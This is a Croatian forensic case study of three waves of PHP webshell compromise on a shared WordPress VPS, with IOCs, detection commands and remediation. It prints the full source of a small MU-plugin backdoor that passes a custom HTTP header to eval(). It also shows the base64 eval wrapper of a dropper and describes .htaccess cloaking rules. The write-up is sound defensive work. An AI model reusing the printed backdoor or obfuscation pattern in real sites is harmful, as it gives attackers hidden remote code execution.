Security10 min čitanja
Case study - PHP webshellovi na dijeljenom WordPress VPS-u (2025.–2026.)
Forenzička analiza tri vala kompromitacije - MU-plugin backdoor, root-owned filemanager dropper i SEO cloaking kit - bez imena klijenata i domena.

U studenome 2026. na dijeljenom AlmaLinux VPS-u (control panel + više WordPress računa) zatvorili smo lanac kompromitacije koji je trajao od prosinca 2025. do kraja listopada 2026. Ovaj case study opisuje što smo našli, kako je svaki PHP artefakt radio i što je trebalo očistiti - bez imena domena, klijenata ili javnih URL-ova.
Cilj nije „kako napasti”, nego kako prepoznati iste IOC-e na vlastitom hostingu i zašto površinski „clean” scanneri promaše root-owned droppere.
Sažetak (TL;DR)
| Val | Kad | Artefakt | Uloga |
|---|---|---|---|
| 1 | prosinac 2025. | MU-plugin (~292 B) | tihi eval() preko custom HTTP headera |
| 2 | 31. 10. 2026. | hawo.php (~305 KiB, root:root) |
filemanager dropper na 3 računa, isti SHA-256 |
| 2b | isti dan (+min) | doni.inc.php + OSD_DATA/*.alfa |
instalater + CGI pomoćnici |
| 2c | isti dan (~+35 min) | .htaccess ScrapingVisitor |
SEO cloaking (botovi vide spam, ljudi redirect) |
| 3 (stari) | 2023. | about.php „Imunify remnant” |
loader koji je preživio „čišćenje” |
Ishod: svi navedeni fajlovi karantirani, čisti .htaccess vraćeni, PHP-FPM i kernel zakrpe podignute; SSH/CWP login napadača na dan dropa nije potvrđen.
Okruženje
- AlmaLinux 8, dijeljeni VPS s hosting control panelom
- Više Linux korisnika / WordPress instalacija na istom stroju
- Web: Apache + PHP-FPM (alt-php 8.2–8.5), panel PHP odvojen
- Antivirus/malware alati (npr. Maldet) uobičajeno preskaču uid 0
U tekstu: Račun A / B / C = tri WP sitea pogođena istim hawo.php; Račun D = stariji remnant; Operator-1/2 = anonimizirani izvori u access logovima.
Kronologija
Val 1 - tihi backdoor (10. 12. 2025.)
Na Računu A, u prozoru ~21:14–21:15 UTC:
- Autenticirana sesija ulazi u
wp-admin. - Otvara se stranica plugina WP PHP Console (
admin.php?page=wp-php-console). - Slijedi uspješan
POSTna tu stranicu. - Istog minuta nastaje
wp-content/mu-plugins/test-mu-plugin.php(vlasnik = korisnik sitea, ~292 bajta).
Must-use pluginovi učitavaju se uvijek, bez aktivacije u UI-ju. Idealno mjesto za trajni backdoor.
Val 2 - lateralni drop (31. 10. 2026.)
| UTC | Događaj |
|---|---|
| 12:37:20 | hawo.php birth na Računu A, root:root, 311 711 B |
| 12:37:31 | Operator-1 GET /hawo.php → HTTP 200 (mala stranica / login UI) |
| 12:37:57 | POST na OSD_DATA/osdcgiapi/{perl,py}.alfa (500 - CGI helperi nisu potpuno prošli) |
| 12:39:35 | doni.inc.php (vlasnik = site user) |
| 12:49:01 | isti hawo.php na Računu B (root:root) |
| 12:49:14 | Operator-2 GET /hawo.php na B → 200 |
| 12:49:43 | isti hawo.php na Računu C (root:root) |
| ~13:12 | User-Agent: Mozilla/5.0 ScrapingSetup masovni POST /setup.php - montaža SEO kit-a |
SHA-256 hawo.php na A/B/C: identičane2b7f9a290872d2e015a8b9ba2179947d3c3cc1a02d040af3493d0bf8d4bb48b
Val 3 - stari remnant (Račun D, 2023.)
about.php u document rootu: Imunify360 je ubacio „safe” komentar i exit();, ali prva PHP linija i dalje izvršava loader prije toga. Tipičan „polu-clean”.
Analiza samplea 1: MU-plugin HTTP-header eval
Put: wp-content/mu-plugins/test-mu-plugin.php
Veličina: 292 B
SHA-256: af5ee8eab067b2340640d5208417c67f932a652d45e8d3501928b7fa482833cb
Rođen: 10. 12. 2025. 21:15 UTC
Vlasnik: site user (ne root)
Cijeli sadržaj (anonimiziran samo u smislu da je ovo točan IOC, ne eksploit tutorijal):
<?php
/*
Plugin Name: Custom MU Plugin
Description: MU-test-plugin.
*/
// Ваш код, который нужно вставить
$the_title_sj = $_SERVER;
$the_title_ycdv = 'HTTP_1C062F9';
if (isset($the_title_sj[$the_title_ycdv])) {
eval($the_title_sj[$the_title_ycdv]);
}
Kako radi
- WordPress učitava MU-plugin na svakom HTTP zahtjevu.
- Napadač šalje request s custom headerom koji PHP mapira u
$_SERVER['HTTP_1C062F9'](header ime tipa1C062F9:). - Vrijednost headera ide direktno u
eval().
Nema password UI-ja, nema velikog footprinta, nema shell_exec u fajlu - zato YARA/signature skeneri koji traže FilesMan / c99 ne vide ništa. Detekcija: string HTTP_1C062F9, ili generički eval($_SERVER[...]) u mu-plugins/.
Ulazna točka
Access log veže nastanak fajla uz WP PHP Console u istoj minuti. Taj plugin omogućuje izvršavanje PHP-a iz admina - nakon krađe/kompromitacije admin sesije dovoljan je jedan POST. Preporuka: ukloniti PHP-console / file-manager plugine s produkcije; 2FA na svim adminima; ograničiti wp-admin po IP-u gdje je moguće.
Analiza samplea 2: hawo.php - root-owned filemanager dropper
Put: document root (/hawo.php) na Računima A, B, C
Veličina: 311 711 B
SHA-256: e2b7f9a2…8d4bb48b (isti na sva tri)
Vlasnik: root:root
Birth: 31. 10. 2026. 12:37 / 12:49 UTC
Oblik: ASCII, vrlo dugačka linija
Obfuskacija
Vanalski sloj:
<?=eval("?>".base64_decode("…"));
Prvi peel otkriva drugi isti obrazac i komentar packera:
//Encode by : Unknown45
//Obfuscated by : Unknown45
To je poznati lanac packanja za PHP filemanager / WSO-derivate (UI za browsanje FS-a, upload, edit, naredbe). Vanjski sloj namjerno ne sadrži stringove FilesMan, shell_exec, auth_pass - sve je u unutarnjem payloadu. Statički grep po vanjskom fajlu zato daje lažno „čisto”.
Zašto je root:root kritičan
stat/ birth time pokazuje fajl nastao kao root, nechownnaknadno.- Maldet i slični alati često ne skeniraju uid 0 → dropper ostaje nevidljiv dok ne pogledate
find … -user rootu webrootovima. - Sekundarni payloadi (
doni.inc.php, SEO mape,OSD_DATA) su site-user owned - tipičan obrazac: root dropne primarni shell, zatim sesija radi kao PHP/FPM user i piše ostatak.
Što access log kaže
Odmah nakon birtha: GET /hawo.php → 200 s malim bodyjem (~274 B) - konzistentno s login / stub stranicom filemanagera. Ubrzo TelegramBot probe (404 na nekim pathovima) - javni skeneri već indekseiraju novo ime.
Hipoteza o root dropu (bez dokazanog smoking-guna)
Isključeno za taj dan: uspješan SSH login napadača, CWP client login.
Najvjerojatnije klase:
- Raniji root foothold (cron, kompromitirani panel PHP koji radi kao root, zaboravljeni setuid helper).
- Zlouporaba panel/web stacka koji izvršava PHP kao root (poznati anti-pattern na nekim CWP/oauth/FPM setupima).
- Manje vjerojatno: lokalni privilege escalation iz već kompromitiranog WP-a istog dana (nema jakog dokaza u logu u minutima između).
Praktična lekcija: periodični find /home/*/public_html -user root -name '*.php' je jeftin canary.
Analiza samplea 3: doni.inc.php - „Deathin Installer”
Put: document root
Veličina: 279 075 B
SHA-256: 125fef4add975c56b4ac376dfc3bba97b75321fe5b4aa94deb795b926485729d (A i B)
Vlasnik: site user
Birth: ~2 minute nakon hawo.php na istom računu
Zaglavlje se maskira kao WordPress plugin:
/**
* Plugin Name: Deathin Installer
* Description: Extract archive .tar.gz / .zip langsung dari wp-admin tanpa akses FTP.
* Version: 1.0
* Author: Private
* License: GPL-2.0+
*/
Slijedi safeDecrypt($data, $key) s base64_decode i IV izvedenim iz ključa - tipičan enkriptirani payload installer. Uloga u lancu: raspakiravanje SEO/spam arhiva i postavljanje pomoćnih skripti bez FTP-a, često pokrenuto iz već otvorenog filemanagera (hawo.php) ili follow-up bota.
Analiza samplea 4: OSD_DATA/osdcgiapi - Alfa CGI pomoćnici
U karanteni (Račun A), u sekundama nakon prvog hawo hita:
| Fajl | Tip |
|---|---|
bash.alfa |
Bash skripta |
perl.alfa |
Perl |
py.alfa |
Python |
.htaccess |
(često dozvole / handler) |
tmp-osdcgiapi/getheader.alfa |
Shell helper |
Ime *.alfa i struktura OSD_DATA/osdcgiapi odgovaraju Alfa Shell ekosistemu: PHP filemanager + fallback CGI/skripte kad disable_functions ubije shell_exec u PHP-u. U našem logu POST-ovi na perl.alfa / py.alfa vratili su 500 - helperi nisu uspješno izvršeni, ali intent je jasan: eskalacija izvan PHP restrikcija.
Analiza samplea 5: ScrapingVisitor SEO cloaking
Nakon droppera, kit modificira .htaccess blokom # BEGIN ScrapingVisitor. Bit (pojednostavljeno):
- Iznimke za crawlere (Googlebot, Bingbot, Ahrefs, Semrush, Facebook, …) i sitemap/robots.
- Za mobile UA koji nisu botovi - 302 na vanjski parking/spam (
friv.comu našem uzorku; starija varijanta spominjala drugi redirect host). - RewriteRule mape ka statičkim HTML spam stranicama (lokalni SEO spam klonovi članaka).
Uz to: deseci direktorija s index.html spam sadržajem + rewrite na te pathove. Efekt:
- Google vidi „sadržaj” (cloaking prema bot UA).
- Pravi posjetitelj dobije redirect ili spam landing.
- Site owner često ne primijeti dok Search Console ne prijavi hacked content / unnatural redirects.
UA Mozilla/5.0 ScrapingSetup na POST /setup.php je jak IOC za montažu ovog kita.
Analiza samplea 6: about.php - Imunify „polu-clean” loader
Veličina: 15 081 B
SHA-256: c30950c51ba7dcf4acd63ce552d87fe6a360516839c42fbbba2595aa55a12d84
mtime: 2023-12-24
Vlasnik: site user
Struktura:
- Linija 1:
file_get_contents(__FILE__)+explodena?>+str_rot13/base64_decode- klasični self-reading loader. - Zatim Imunify komentar: „artifacts of previous malicious infection… dangerous code have been removed” +
exit();. - Nakon
?>: i dalje visio veliki trailing blob (payload).
Problem: PHP izvršava prvu liniju prije exit(). „Clean” poruka lažno smiruje operatera i skenere koji traže samo poznate shell stringove ispod komentara. Pravilo: ako vidiš Imunify remnant banner u document rootu - obriši cijeli fajl, ne vjeruj komentaru.
Kill chain (dijagram)
[Admin sesija / WP PHP Console] ──► MU-plugin eval(header)
│ │
│ (mjeseci tišine)
▼
[Root-capable writer] ──► hawo.php (root) na A, B, C
│
├─► OSD_DATA/*.alfa (CGI fallback, kod nas 500)
├─► doni.inc.php (Deathin Installer, user-owned)
└─► ScrapingSetup ► .htaccess cloaking + spam HTML
Paralelno (starije): about.php Imunify remnant na Računu D
Tri računa + isti SHA u <15 minuta = automatizirani lateralni deploy, ne ručni one-off.
Zašto su skeneri promašili dio
| Sloj | Zašto promašaj |
|---|---|
| MU-plugin 292 B | nema signature stringova; samo eval($_SERVER[…]) |
hawo.php root |
Maldet skip uid 0; payload u nested base64 |
| Imunify remnant | banner kaže „safe”, loader ostaje u liniji 1 |
| SEO kit | HTML + .htaccess, ne „webshell” potpis |
Remedijacija (što je odrađeno)
- Karantena (copy + SHA-256 + remove) svih gore navedenih artefakata; SEO direktoriji i
.htaccess.hackedsačuvani forenzički. - Vraćen čisti WordPress
.htaccessna pogođenim siteovima. - Re-scan webrootova (PHP signature + Imunify-remnant +
HTTP_1C062F9+ ScrapingVisitor). - PHP-FPM podignut na zakrpe za tadašnje kritične CVE-ove (php2shell klasa); kernel patch za zasebni TCP UAF CVE.
- Preporuke klijentima: reset svih WP/admin/FTP lozinki, 2FA, ukloniti PHP console / file manager plugine, pregled korisnika u
wp_users.
IOC tablica (za vlastite skenove)
| Tip | Vrijednost |
|---|---|
| Fajl | hawo.php u document rootu |
| Fajl | doni.inc.php |
| Dir | OSD_DATA/osdcgiapi/, tmp-osdcgiapi/ |
| Ext | *.alfa (bash/perl/py) |
| MU-plugin | HTTP_1C062F9 / eval($…[$_SERVER…]) |
.htaccess |
# BEGIN ScrapingVisitor |
| UA | Mozilla/5.0 ScrapingSetup |
| SHA-256 | e2b7f9a290872d2e015a8b9ba2179947d3c3cc1a02d040af3493d0bf8d4bb48b (hawo) |
| SHA-256 | 125fef4add975c56b4ac376dfc3bba97b75321fe5b4aa94deb795b926485729d (doni) |
| SHA-256 | af5ee8eab067b2340640d5208417c67f932a652d45e8d3501928b7fa482833cb (MU) |
| SHA-256 | c30950c51ba7dcf4acd63ce552d87fe6a360516839c42fbbba2595aa55a12d84 (about remnant) |
| Komentar | Encode by : Unknown45 |
| Plugin facade | Deathin Installer |
| Imunify | artifacts of previous malicious infection + file_get_contents(__FILE__) u istoj datoteci |
Brzi canary (read-only)
# root-owned PHP u webrootovima
find /home/*/public_html -type f -name '*.php' -user root 2>/dev/null
# poznati stringovi
grep -RIl --include='*.php' -E 'HTTP_1C062F9|ScrapingVisitor|Deathin Installer|Unknown45|artifacts of previous malicious infection' /home/*/public_html 2>/dev/null
# .htaccess cloaking
grep -RIl 'BEGIN ScrapingVisitor' /home/*/public_html/.htaccess 2>/dev/null
Lekcije
- Mali backdoor > veliki shell za dugotrajan pristup; veliki shell dolazi kad treba brzina i lateralno širenje.
- Root-owned PHP u
public_htmlje hitan incident, ne „čudan permission”. - Imunify/antivirus remnant ≠ clean - čitaj prvu liniju.
- SEO cloaking je često pravi poslovni cilj napada (trafik/spam), ne samo defacement.
- Isti SHA na više računa u minutama = pretpostavi kompromitaciju hostinga/panela, ne samo jednog WP plugina.
- Isključi alate koji izvršavaju proizvoljni PHP iz admina (PHP Console, online file manager plugini).
Što namjerno ne objavljujemo
Puna deobfuscirana unutrašnjost hawo.php / decrypt ključevi doni.inc.php, točni IP-ovi operatora i imena domena. Za obranu dovoljni su IOC-i i ponašanje; za reprodukciju napada - ne.
Ako vodite dijeljeni WordPress hosting i želite isti tip audita (canary + karantena + forenzika logova), javite se - krenemo od read-only skena, bez rušenja produkcije.

